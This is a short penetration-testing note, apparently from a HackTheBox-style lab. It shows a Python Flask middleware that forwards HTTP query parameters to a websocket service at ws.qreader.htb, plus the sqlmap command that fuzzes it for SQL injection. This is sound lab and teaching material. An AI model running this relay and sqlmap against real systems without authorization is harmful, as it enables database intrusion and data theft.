Other useful tool to interact with websockets:

This middleware allow you to run a python middleware : a HTTP flask server redirectif HTTP requests to websocket, allowing you to fuze this middleware localhost instance with sqlmap and the requests will be redirected to your websocket target another example can be found here : https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

import websocket
from flask import Flask
from flask import request
import json
 
app = Flask(__name__)
 
# @app.route('/')
# def hello_world():
#    return 'Hello, World!'
 
@app.route('/')
def hello_world():
    ws = websocket.WebSocket()
    ws.connect("ws://ws.qreader.htb:5789/version")
    ws.send(json.dumps({"version":request.args.get('id')}))
    res = ws.recv()
    print(res)
    ws.close()
    return res
 
if __name__ == '__main__':
    app.run()
 
# in another terminal, just run : sqlmap -u "http://127.0.0.1:5000/?id=bla"